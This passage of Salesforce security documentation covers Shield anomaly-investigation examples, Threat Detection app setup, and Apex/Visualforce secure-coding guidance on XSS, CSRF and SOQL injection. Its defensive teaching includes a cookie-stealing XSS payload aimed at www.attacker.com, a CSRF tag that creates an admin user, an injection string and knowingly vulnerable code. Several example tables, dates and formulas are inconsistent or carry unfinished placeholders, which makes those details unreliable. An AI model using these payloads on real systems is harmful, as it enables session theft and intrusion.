Kate starts an investigation to dig deeper. She uses the UserId to determine that the report was downloaded using John’s account. She then searches the ReportEvent events for John and notices that he generates weekly reports, but they contain only 500–1,000 rows. The table shows that rowCount contributes nearly 100% to this anomaly. This feature contribution value is a numerical value that indicates the importance of rowCount in flagging this report generation activity as an anomaly. Because John has a consistent history of generating small reports (500–1,000 rows), a report with a million rows is a noticeable departure from that trend. This fact generates the high feature contribution value.

Upon further investigation, Kate discovers that John’s account was hacked and the attacker escalated John’s access privileges to access data for the entire sales team. As a result, the report contained sales leads for the entire sales team instead of only the sales leads assigned to John.

Kate concludes that this detection event is malicious and takes further threat mitigation actions.

SEE ALSO:

API Anomaly

An anomaly is any user activity that is sufficiently different from the historical activity of the same user. We use the metadata in Salesforce Core application logs about API generation and surrounding activities to build a baseline model of the historical activity. We then compare any new API generation activity against this baseline to determine if the new activity is sufficiently different to be called an anomaly. We don’t look at the actual data that a user interacts with — we look at how the user interacts with the data.

IN THIS SECTION:
Training and Inference Steps
Similar to other machine learning or statistical models, our detection model has a familiar two-step process: a training step and an inference or detection step. As a customer, you don’t perform either of these steps—Salesforce performs them for you. You only review the detection events generated by our detection mode and take further action if necessary.

Investigate API Request Anomalies
It’s often necessary to further investigate an API request anomaly to either determine if a data breach occurred or to rule it out as benign.

Best Practices for Investigating API Request Anomalies
Keep these tips and best practices in mind when you investigate unusual user behavior. Find the information you require to make a well-informed evaluation of your data’s safety.

API Request Anomaly Detection Examples
Here are several examples that illustrate how you can investigate anomalous API request events thoroughly.
Training and Inference Steps

Similar to other machine learning or statistical models, our detection model has a familiar two-step process: a training step and an inference or detection step. As a customer, you don't perform either of these steps—Salesforce performs them for you. You only review the detection events generated by our detection mode and take further action if necessary.

Training Step

We extract various attributes—also known as features—using the metadata from the Salesforce application logs. We use metadata about report generation and surrounding activities over a period of 90 days. The actual list of features changes as the model improves.

Using these features, we build a model of the user’s typical report generation activity. This step is called model training. We use the trained model to detect anomalies in the second step.

Inference (or Detection) Step

During the detection step, we look at every report generation activity for every user and extract the same set of features used to train the model. We then compare features against the model of the user’s typical behavior and determine if the activity under consideration is sufficiently different.

Anomaly Score

We assign a numerical anomaly score to every report generation activity based on how different the activity is compared to the user’s typical activity. The anomaly score is always a number from 0 through 100, and is often expressed as a percentage. A low anomaly score indicates that the user’s report generation activity is similar to the user’s typical activity. A high anomaly score indicates that the user’s report generation activity is different from the user’s typical activity.

Critical Threshold

Every report generation event is assigned an anomaly score, but not all generation events are anomalies. We use a threshold to determine which report generation events are sufficiently different from a user’s typical activity. Any event with an anomaly score above the critical threshold is considered an anomaly.

Investigate API Request Anomalies

It’s often necessary to further investigate an API request anomaly to either determine if a data breach occurred or to rule it out as benign.

As a Shield customer, the Real-Time Event Monitoring events provide you with the required information to perform your investigation. In particular:

- ApiAnomalyEvent and its storage equivalent ApiAnomalyEventStore track anomalies in how users make API calls. These objects are the starting point of your investigation.
- ApiEventStream and its storage equivalent ApiEvent track user-initiated read-only API calls. Use these objects to see real-time or historical API executions.
- LoginEventStream (and its storage equivalent LoginEvent) track all login activity in your org.

For example, say that your org receives an ApiAnomalyEvent that indicates a potential anomaly in a user’s API calls. The first thing you do is look at relevant fields of the event to get basic information about the anomaly, such as:
• **Score**: A number that represents how much this user’s API activity differed from their usual activity. The higher the number, the more it diverged.

• **UserId**: The user’s unique ID.

• **EventDate**: The time that the API request occurred.

• **SecurityEventData**: JSON field that contains the features, such as row count or day of the week, that contributed the most to this anomaly detection. See this table on page 269 for the full list of possible features.

• **Summary**: A text summary of the event.

See the API documentation for the full list of fields.

This sample SOQL query returns these field values.

```
SELECT Score, UserId, EventDate, SecurityEventData, Summary
FROM ApiAnomalyEventStore
```

Let’s look at the **SecurityEventData** field a bit more closely because it contains the contributing factors that triggered this anomaly detection. Here’s sample data:

```
[
  
  
  {  
    "featureName": "rowCount",  
    "featureValue": "1937568",  
    "featureContribution": "95.00 %"
  },

  
  {  
    "featureName": "autonomousSystem",  
    "featureValue": "Bigleaf Networks, Inc.",  
    "featureContribution": "1.62 %"
  },

  
  {  
    "featureName": "dayOfWeek",  
    "featureValue": "Sunday",  
    "featureContribution": "1.42 %"
  },

  
  {  
    "featureName": "userAgent",  
    "featureValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36)",
    "featureContribution": "1.21 %"
  },

  
  {  
    "featureName": "periodOfDay",  
    "featureValue": "Evening",  
    "featureContribution": "0.09 %"
  },

  
  {  
    "featureName": "averageRowSize",  
    "featureValue": "744",  
    "featureContribution": "0.08 %"
  },

  
  {  
    "featureName": "screenResolution",  
    "featureValue": "900x1440",  
    "featureContribution": "0.07 %"
  }
```
The feature that contributed the most (95.00%) to this anomaly detection was rowCount with a value of 1937568. The feature indicates that the user viewed or exported a report that had 1,937,568 rows. But based on historical data, the user rarely views or exports so much data. The other features contributed much less to the score. For example, the user executed the report on Sunday, but this feature contributed only 1.42% to the overall score.

Now that you have the data, you can investigate further.

SEE ALSO:
- Platform Events Developer Guide: ApiAnomalyEvent
- Platform Events Developer Guide: ApiEvent

Best Practices for Investigating API Request Anomalies

Keep these tips and best practices in mind when you investigate unusual user behavior. Find the information you require to make a well-informed evaluation of your data's safety.

**Identify the involved user.**
Keeping customer privacy in mind, we can't access customer data or any data inside the reports. As a result, we can provide only the user ID of the user who generated the report that is marked as an anomaly. Use this user ID to locate the username and other details about the person associated with the detection event.

Field: ApiAnomalyEvent.UserId

**Use the timestamp.**
Our detection model already considers various features derived from the timestamp to determine report generation activity as anomalous or not. You can use this timestamp to narrow down the set of events you must review. You can also determine if the time of report generation was unusual for the user who generated the report.

Field: ApiAnomalyEvent.EventDate

**Use contributing factors as a guide.**
The contributing factors JSON output shows the list of features on page 269 in descending order of contribution. As you start your investigation into the event logs, keep an eye out for the top contributing features. If these features look unusual, they can provide more evidence that confirms the anomaly or even indicate a possible data breach.

Field: ApiAnomalyEvent.SecurityEventData

**Consider the anomaly in the context of the user's typical behavior.**
Using the ReportAnomalyEvent field values, try to determine whether the user activity within the detection event is typical for the user. For example, consider if it's typical for a user to generate a report from the IP address provided.

Field: ApiAnomalyEvent.SourceIp

**Consider the size of the report.**
We consider the size of the report to determine if the report generation was anomalous. A user generating a larger report than usual can indicate an unauthorized data export attempt. For example, an attacker obtained unauthorized access to the user's account and exfiltrate as much data as possible before losing access. Or it could mean that a disgruntled employee is exfiltrating data for use beyond the needs of the employer.

Field: ApiAnomalyEvent.SecurityEventData (specifically the rowCount feature name)
Not all anomalies are malicious.

While some anomalies can indicate a malicious intent, other anomalies can be legitimate but unusual. Our detection model can produce detection events that are unusual but not malicious. For example, if an employee gets promoted to a new role and starts generating larger reports, our model can flag this behavior as anomalous.

SEE ALSO:
Platform Events Developer Guide: ApiAnomalyEvent
Platform Events Developer Guide: ApiEvent

API Request Anomaly Detection Examples

Here are several examples that illustrate how you can investigate anomalous API request events thoroughly.

IN THIS SECTION:
API Detection Event Isn’t Anomalous
Jason, a developer, uses APIs to query an Account object on a Sunday. He retrieves 10,000 records.

API Detection Event Possibly Anomalous
Rob, a relatively new Sales Operation Lead, uses an API to query the Opportunity object and extracts 10 million records. He previously queried the same object using a different browser and from a different IP address.

API Detection Event Is an Anomaly but Isn’t Clearly Malicious
Alice is a sales rep based in St. Louis. She’s often on the road to meet with clients. When she travels, she generally, but not consistently, uses her company’s VPN to log into Salesforce.

API Detection Event Is Confirmed Malicious
Alan, a Salesforce user, employs an API to query the Opportunity object and extracts 10 million records. It’s the first time that Alan queries the Opportunity object and uses this IP address to log in.

API Detection Event Isn’t Anomalous

Jason, a developer, uses APIs to query an Account object on a Sunday. He retrieves 10,000 records.

The event contains this information.

<table>
<thead>
<tr>
<th>APIAnomalyEvent Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Score</td>
<td>.5801</td>
</tr>
<tr>
<td>SourceIp</td>
<td>96.43.144.30</td>
</tr>
<tr>
<td>EventDate</td>
<td>2020-03-27T07:45:07.192Z</td>
</tr>
<tr>
<td>UserId</td>
<td>00530000009M946</td>
</tr>
<tr>
<td>SecurityEventData</td>
<td>(see next table)</td>
</tr>
</tbody>
</table>

The SecurityEventData field contains this information.
<table>
<thead>
<tr>
<th>featureName</th>
<th>featureValue</th>
<th>featureContribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>rowCount</td>
<td>1937568</td>
<td>95.00%</td>
</tr>
<tr>
<td>autonomousSystem</td>
<td>Bigleaf Networks, Inc.</td>
<td>1.62%</td>
</tr>
<tr>
<td>dayOfWeek</td>
<td>Sunday</td>
<td>1.42%</td>
</tr>
<tr>
<td>userAgent</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36</td>
<td>1.21%</td>
</tr>
<tr>
<td>periodOfDay</td>
<td>Evening</td>
<td>0.09%</td>
</tr>
<tr>
<td>averageRowSize</td>
<td>744</td>
<td>0.08%</td>
</tr>
<tr>
<td>screenResolution</td>
<td>900x1440</td>
<td>0.07%</td>
</tr>
</tbody>
</table>

Alia, the Salesforce admin, notices that 10,000 records were retrieved from an Account object on a Sunday. She investigates further. Using the `UserId` field value, Alia identifies Jason as the user. She then looks through Jason’s past activity. She notices that Jason, a developer, retrieves records of varying amounts, ranging from just a handful to 20,000 records. Alia also notices in the `dayOfWeek` and `periodOfDay` features that Jason often works Sundays and nights.

Alia concludes that this detection event wasn’t anomalous because the activity is well within Jason’s typical activity.

SEE ALSO:
- Platform Events Developer Guide: `ApiAnomalyEvent`
- Platform Events Developer Guide: `ApiEvent`

### API Detection Event Possibly Anomalous

Rob, a relatively new Sales Operation Lead, uses an API to query the Opportunity object and extracts 10 million records. He previously queried the same object using a different browser and from a different IP address.

The event contains this information.

<table>
<thead>
<tr>
<th>APIAnomalyEvent Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Score</td>
<td>.7212</td>
</tr>
<tr>
<td>SourceIdep</td>
<td>96.43.144.28</td>
</tr>
<tr>
<td>EventDate</td>
<td>2019-01-15T07:45:07.192Z</td>
</tr>
<tr>
<td>UserId</td>
<td>00530000009M945</td>
</tr>
<tr>
<td>SecurityEventData</td>
<td>(see next table)</td>
</tr>
</tbody>
</table>

The `SecurityEventData` field contains this information.
Tony, the security auditor, notices that the `rowCount` feature is a bit high for their Salesforce org. The second-ranking feature is `userAgent` with a feature contribution of close to 30%. This percentage indicates that this user agent, or browser, isn’t common for their org. Tony finds Rob with the `UserId` field. Tony notices that Rob is a relatively new employee. By looking at the `<need field or feature name>` events, Tony notices that Rob used a different browser and IP address in the past. Because Rob is a relatively new employee, Tony can’t be certain whether this report matches Rob’s typical activity pattern.

Tony concludes that this detection is possibly anomalous.

SEE ALSO:
- Platform Events Developer Guide: ApiAnomalyEvent
- Platform Events Developer Guide: ApiEvent

### API Detection Event Is an Anomaly but Isn’t Clearly Malicious

Alice is a sales rep based in St. Louis. She’s often on the road to meet with clients. When she travels, she generally, but not consistently, uses her company’s VPN to log into Salesforce.

On July 27, 2020, Alice’s account was used to query an object from a relatively new IP address. Bob, the administrator for Alice’s Salesforce org, noticed a APIAnomalyEvent about this report generation activity. The event contained this information.

<table>
<thead>
<tr>
<th>APIAnomalyEvent Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Score</td>
<td>.8671</td>
</tr>
<tr>
<td>SourceIp</td>
<td>96.43.144.27</td>
</tr>
<tr>
<td>EventDate</td>
<td>2015-07-27T07:45:07.192Z</td>
</tr>
<tr>
<td>UserId</td>
<td>0053000009M944</td>
</tr>
<tr>
<td>SecurityEventData</td>
<td>(see next table)</td>
</tr>
</tbody>
</table>

The `SecurityEventData` field contains this information.

**Editions**

Available in: Salesforce Classic and Lightning Experience

Available in: Enterprise, Unlimited, and Developer Editions

Requires Salesforce Shield or Salesforce Event Monitoring add-on subscriptions.
Bob, the Salesforce admin, notices that the autonomous system—derived from the IP address—is the top-ranked feature with 73.4% feature contribution. This percentage indicates that Alice rarely uses this autonomous system. Bob also notices that the `rowCount` has around 50,000 rows, which isn’t small for this org. Bob then uses the `UserId` to identify the user as Alice. By looking at the `<need event name here>` events, Bob notices that Alice typically generates reports containing 1,000–10,000 rows. But on rare occasions, Alice generated reports with more than 50,000 rows. The `userAgent` has a smaller feature contribution, which could be attributed to Alice using her mobile device less when she travels. The `periodOfDay` features have small feature contributions, and are therefore not important.

Because Alice rarely uses this autonomous system and the report is larger than reports Alice typically generates, Bob concludes that this report falls outside of typical activity. But Bob is unable to verify whether Alice or an attacker committed this malicious act. He attempts to get more information on this incident.

**SEE ALSO:**
*Platform Events Developer Guide: ApiAnomalyEvent*
*Platform Events Developer Guide: ApiEvent*

**API Detection Event Is Confirmed Malicious**

Alan, a Salesforce user, employs an API to query the Opportunity object and extracts 10 million records. It’s the first time that Alan queries the Opportunity object and uses this IP address to log in.

The event contains this information.

<table>
<thead>
<tr>
<th>APIAnomalyEvent Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Score</td>
<td>.95851</td>
</tr>
<tr>
<td>SourceIP</td>
<td>96.43.144.26</td>
</tr>
<tr>
<td>EventDate</td>
<td>2019-05-12T12:22:10.298+00:00</td>
</tr>
<tr>
<td>UserId</td>
<td>00530000009M943</td>
</tr>
<tr>
<td>SecurityEventData</td>
<td>(see next table)</td>
</tr>
</tbody>
</table>
The `SecurityEventData` field contains this information.

<table>
<thead>
<tr>
<th>featureName</th>
<th>featureValue</th>
<th>featureContribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>rowCount</td>
<td>1937568</td>
<td>95.00%</td>
</tr>
<tr>
<td>autonomousSystem</td>
<td>Bigleaf Networks, Inc.</td>
<td>1.62%</td>
</tr>
<tr>
<td>dayOfWeek</td>
<td>Sunday</td>
<td>1.42%</td>
</tr>
<tr>
<td>userAgent</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36}</td>
<td>29.21%</td>
</tr>
<tr>
<td>periodOfDay</td>
<td>Evening</td>
<td>0.09%</td>
</tr>
<tr>
<td>averageRowSize</td>
<td>744</td>
<td>0.08%</td>
</tr>
<tr>
<td>screenResolution</td>
<td>900x1440</td>
<td>0.07%</td>
</tr>
</tbody>
</table>

Kate, the security auditor, starts an investigation. She uses the `UserId` to determine that Alan’s account was used to query the Opportunity object. She then searches the events for Alan and notices that he’s never queried the Opportunity object. The table shows that `rowCount` contributes nearly 100% to this anomaly. This feature contribution value is a numerical value that indicates the importance of `rowCount` in flagging this report generation activity as an anomaly. Because Alan has no history of generating small reports (500–1,000 rows), a report with a million rows is a noticeable departure from that trend. This fact generates the high feature contribution value.

Kate next discovers that Alan’s account was hacked and the attacker escalated Alan’s access privileges to access data for the entire sales team. As a result, the records contain sales leads for the entire sales team instead of only the sales leads assigned to Alan.

Kate concludes that this detection event is malicious.

SEE ALSO:

- Platform Events Developer Guide: `ApiAnomalyEvent`
- Platform Events Developer Guide: `ApiEvent`
View Threat Detection Events and Provide Feedback

Launch the Threat Detection app and view all the detected threats that occurred in your Salesforce org. Threats include anomalies in how users run reports, session hijacking attempts, and credential stuffing. Use the same app to easily provide feedback about the severity of a specific threat.

IN THIS SECTION:

Make the Threat Detection App Visible to Users

Before you can view the Threat Detection events in Salesforce and provide feedback, you must make the app visible to users. You also specify which of the four tabs are visible to different user profiles.

View Events and Provide Feedback

View recent or all Threat Detection events using the Threat Detection app in the Salesforce UI. The displayed events are stored in their corresponding storage objects: ReportAnomalyEventStore, SessionHijackingEventStore, and CredentialStuffingEventStore. Associate a feedback object with a particular event to record the severity of the threat, such as Malicious or Not a Threat.

Make the Threat Detection App Visible to Users

Before you can view the Threat Detection events in Salesforce and provide feedback, you must make the app visible to users. You also specify which of the four tabs are visible to different user profiles.

1. Use Event Manager to enable streaming and storage for the three Threat Detection events: ReportAnomalyEvent, SessionHijackingEvent, and CredentialStuffingEvent.
2. Create a permission set that’s associated with the Salesforce license.
3. Edit the System Permissions page of your permission set and enable the View Threat Detection Events permission.
4. Assign the permission set to the user who administers the Threat Detection app. Salesforce recommends that you create a profile specifically for security administrators who are responsible for managing threat detections. For example, create a profile called Threat Detection Administrator. Then assign the permission set to a user with the Threat Detection Administrator profile.
5. Edit the Tab Settings of each user profile that uses the Threat Detection app and specify the visibility of the four tabs. The four tabs are named Report Anomaly Event Store, Session Hijacking Event Store, Credential Stuffing Event Store, and Threat Detection Feedback.

For example, system administrators usually access everything in the UI, so set the visibility of all four tabs to Default On for the System Administrator profile. If you created a Threat Detection Administrator profile, set the same visibility. If you don’t want standard users to view feedback, set the visibility of Threat Detection Feedback for the Standard User profile to Tab Hidden.
6. In Setup, navigate to the Lightning Experience App Manager by entering *App Manager* in the quick search box.

7. Edit the Threat Detection app by selecting *Edit* in the dropdown box to the right of the app.

8. In the Assign to Profiles section, select the profiles for which the Threat Detection app is visible.

9. Save your changes.

The Threat Detection app is now visible to selected users.

SEE ALSO:

*Salesforce Help: Monitor Streaming Events with Event Manager*

*Salesforce Help: Permission Sets*

*Salesforce Help: App and System Settings in Permission Sets*

*Salesforce Help: View and Edit Tab Settings in Permission Sets and Profiles*
View Events and Provide Feedback

View recent or all Threat Detection events using the Threat Detection app in the Salesforce UI. The displayed events are stored in their corresponding storage objects: ReportAnomalyEventStore, SessionHijackingEventStore, and CredentialStuffingEventStore. Associate a feedback object with a particular event to record the severity of the threat, such as Malicious or Not a Threat.

By default, the Threat Detection app isn’t visible in Salesforce. If necessary, make it visible as described in Make the Threat Detection App Visible to Users.

1. From App Launcher, click Threat Detection.

2. Click the tabs for list views of recent or all events stored in the ReportAnomalyEventStore, SessionHijackingEventStore, or CredentialStuffingEventStore objects.

3. To view an event’s details, click its link. Information such as the date the event occurred, its score, and a summary of the event is displayed.

Each type of event displays other details appropriate to the type of detected threat. For example, the Session Hijacking Event Store tab displays previous and current browser fingerprint information. The Report Anomaly Event Store tab displays the report ID associated with the detected threat. Click Related to view the associated feedback, if any.

4. Click Provide Feedback to specify whether a specific detected threat is Malicious, Suspicious, Not a Threat, or Unknown.

You can associate only one feedback object with each event. If you try to provide more than one feedback object, you get an error. If the severity of a threat changes after you provided feedback, edit the response.

SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects
Security Guidelines for Apex and Visualforce Development

Understand and guard against vulnerabilities in your code as you develop custom applications.

Understanding Security

The powerful combination of Apex and Visualforce pages allows Lightning Platform developers to provide custom functionality and business logic to Salesforce or to create a new stand-alone product running inside the Lightning Platform. But as with any programming language, developers must be cognizant of potential security-related pitfalls.

Salesforce has incorporated several security defenses in the Lightning Platform. But careless developers can still bypass the built-in defenses and then expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Lightning Platform are similar to general Web application security vulnerabilities, while others are unique to Apex.

To certify an application for AppExchange, it’s important for developers to learn and understand the security flaws described. For more information, see the Lightning Platform Security Resources page on Salesforce Developers. https://developer.salesforce.com/page/Security.

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) attacks are where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user who unknowingly becomes the victim of the attack. The attacker used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be shown to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives.

For example, assume this script is included in a Lightning Platform page using a script component, an on* event, or a Visualforce page.

```html
<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>
```

This script block inserts the value of the user-supplied `userparam` onto the page. The attacker can then enter this value for `userparam`.

```html
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
```

In this case, all cookies for the current page are sent to `www.attacker.com` as the query string in the request to the `cookie.cgi` script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim.

The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session.

For more information on this type of attack:

- [http://www.owasp.org/index.php/Cross_Site_Scripting](http://www.owasp.org/index.php/Cross_Site_Scripting)
- [http://www.cgisecurity.com/xss-faq.html](http://www.cgisecurity.com/xss-faq.html)
- [http://www.google.com/search?q=cross-site+scripting](http://www.google.com/search?q=cross-site+scripting)
Within the Lightning Platform, several anti-XSS defenses are in place. For example, Salesforce has filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws are largely mitigated. But the creative developer can still find ways to intentionally or accidentally bypass the default controls.

**Existing Protection**

All standard Visualforce components, which start with `<apex>`, have anti-XSS filters in place to screen out harmful characters. For example, this code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the `<apex:outputText>` tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the `< character is converted to `<&lt;` so that a literal `< appears on the user’s screen.

```xml
<apex:outputText>
    {!$CurrentPage.parameters.userInput}
</apex:outputText>
```

**Disabling Escape on Visualforce Tags**

By default, nearly all Visualforce tags escape the XSS-vulnerable characters. You can disable this behavior by setting the optional attribute `escape="false"`. For example, this output is vulnerable to XSS attacks.

```xml
<apex:outputText escape="false" value="{"CurrentPage.parameters.userInput}" />
```

**Programming Items Not Protected from XSS**

These items don’t have built-in XSS protections, so take extra care when using these tags and objects. These items were intended to allow the developer to customize the page by inserting script commands. It doesn’t make sense to include anti-XSS filters on commands that are intentionally added to a page.

**Custom JavaScript**

If you write your own JavaScript, the Lightning Platform has no way to protect you. For example, this code is vulnerable to XSS if used in JavaScript.

```xml
<script>
    var foo = location.search;
    document.write(foo);
</script>
```

```xml
<apex:includeScript value="{"CurrentPage.parameters.userInput}" />
```
### Formula Tags

The general syntax of these tags is: `{!FUNCTION()}` or `{!$OBJECT.ATTRIBUTE}`. For example, if a developer wanted to include a user’s session ID in a link, they can create the link by using this syntax.

```html
<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">Go to portal</a>
```

And it renders like this output.

```html
<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVydi_6hNdIwXhztTMaaSLyiO6RzgM8rZGNDjC00IFhkuQRwPr9Qj6h4W2u2Wrm25w2ufIrvd9dtC_1A&server=https://yourInstance.salesforce.com/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>
```

Formula expressions can be function calls or can include information about platform objects, a user’s environment, system environment, and the request environment. An important feature of these expressions is that data isn’t escaped during rendering. Because expressions are rendered on the server, it’s not possible to escape rendered data on the client using JavaScript or other client-side technology. It can be dangerous if the formula expression references nonsystem data that’s hostile or editable and the expression isn’t wrapped in a function to escape the output during rendering. A common vulnerability is created by using the `{!$Request.*}` expression to access request parameters.

```html
<html>
<head>
  <title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>
```

Unfortunately, the unescaped `{!$Request.title}` tag also results in a cross-site scripting vulnerability. For example, the request:

https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

results in the output:

```html
<html><head><title>Adios</title><script>alert('xss')</script></title><body>Hello world!</body></html>
```

The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement of the `{!$Request.*}` expression in the example, the described attack can be prevented by using these nested SUBSTITUTE() calls.

```html
<html>
<head>
  <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"",""),"",""),"",""})}</title>
</head>
<body>Hello world!</body>
</html>
```

Depending on the placement of the tag and usage of the data, the characters needing escaping and their escaped counterparts can vary. For example, this statement:

```html
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";
```
requires that the double quote character is escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", because it’s likely to be used in a link. Otherwise, the request:

```
https://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
```

results in:

```
<script>var ret = "foo";alert('xss');//";</script>
```

The `ret` variable sometimes needs additional client-side escaping later in the page if used in a way that can cause included HTML control characters to be interpreted.

Formula tags can also be used to include platform object data. Although the data is taken directly from the user’s org, it must still be escaped before use to prevent users from executing code in the context of other users, such as those with higher privilege levels. These types of attacks can only be performed by users within the same organization, and they undermine user roles and reduce the integrity of auditing records. And data can be imported from external sources and not screened for malicious content.

**Cross-Site Request Forgery (CSRF)**

Cross-Site Request Forgery (CSRF) flaws are less a programming mistake and more a lack of a defense. For example, an attacker has a Web page at www.attacker.com that could be any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker’s page is an HTML tag that looks like this:

```
<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />
```

In other words, the attacker’s page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker’s Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a simple example, and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.

For more information and traditional defenses:

- [http://shiflett.org/articles/cross-site-request-forgeries](http://shiflett.org/articles/cross-site-request-forgeries)

Within the Lightning Platform, Salesforce implemented an anti-CSRF token to prevent such an attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and doesn’t execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods.

Here again, the developer can bypass the built-in defenses without realizing the risk. For example, a custom controller takes the object ID as an input parameter and then uses that input parameter in a SOQL call.

```
<apex:page controller="myClass" action="!init"></apex:page>

public class myClass {
    public void init() {
        Id id = ApexPages.currentPage().getParameters().get('id');
        Account obj = [select id, Name FROM Account WHERE id = :id];
        delete obj;
        return ;
    }
}
```
Salesforce Security Guide

SOQL Injection

The developer unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and
used in the code. The anti-CSRF token is never read or validated. An attacker Web page can send the user to this page by using a CSRF
attack and providing any value for the id parameter.
There are no built-in defenses for such situations, and developers must be cautious about writing pages that take action based on a
user-supplied parameter like the id variable in the previous example. A possible work-around is to insert an intermediate confirmation
page before taking the action to make sure that the user intended to call the page. Other suggestions include shortening the idle session
timeout and educating users to log out of their active session and not use their browser to visit other sites while authenticated.
Because of the Salesforce built-in defense against CSRF, your users can encounter an error when multiple Salesforce login pages are
open. If the user logs in to Salesforce in one tab and then attempts to log in on another, they see this error: The page you submitted was
invalid for your session. Users can successfully log in by refreshing the login page or by attempting to log in a second time.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex doesn’t use SQL, but uses its own database query
language, SOQL. SOQL is much simpler and more limited in functionality than SQL. The risks are much lower for SOQL injection than for
SQL injection, but the attacks are nearly identical to traditional SQL injection. SQL/SOQL injection takes user-supplied input and uses
those values in a dynamic SOQL query. If the input isn’t validated, it can include SOQL commands that effectively modify the SOQL
statement and trick the application into performing unintended commands.

SOQL Injection Vulnerability in Apex
Here’s a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
List<Contact> queryResult = Database.query(qryString);
System.debug('query result is ' + queryResult);
return null;
}
}

This simple example illustrates the logic. The code is intended to search for contacts that weren’t deleted. The user provides one input
value called name. The value can be anything provided by the user, and it’s never validated. The SOQL query is built dynamically and
then executed with the Database.query method. If the user provides a legitimate value, the statement executes as expected.
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

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But what if the user provides unexpected input, such as:

```
// User supplied value for name: test%') OR (Name LIKE '
```

In that case, the query string becomes:

```
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')
```

Now the results show all contacts, not just the nondeleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query.

### SOQL Injection Defenses

To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above can be rewritten using static SOQL.

```java
public class SOQLController {
    public String name {
        get { return name; }
        set { name = value; }
    }
    public PageReference query() {
        String queryName = '%' + name + '%';
        List<Contact> queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false AND Name like :queryName)];
        System.debug('query result is ' + queryResult);
        return null;
    }
}
```

If you must use dynamic SOQL, use the `escapeSingleQuotes` method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

### Data Access Control

The Lightning Platform makes extensive use of data sharing rules. Each object has permissions and can have sharing settingsthat users can read, create, edit, and delete. These settings are enforced when using all standard controllers.

When using an Apex class, the built-in user permissions and field-level security restrictions aren’t respected during execution. The default behavior is that an Apex class has the ability to read and update all data. Because these rules are not enforced, developers who use Apex must avoid inadvertently exposing sensitive data that’s normally be hidden from users by user permissions, field-level security, or defaults, particularly for Visualforce pages. For example, consider this Apex pseudo-code.

```java
public class customController {
    public void read() {
        Contact contact = [SELECT id FROM Contact WHERE Name = :value];
    }
}
```
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords `with sharing` when declaring the class:

```
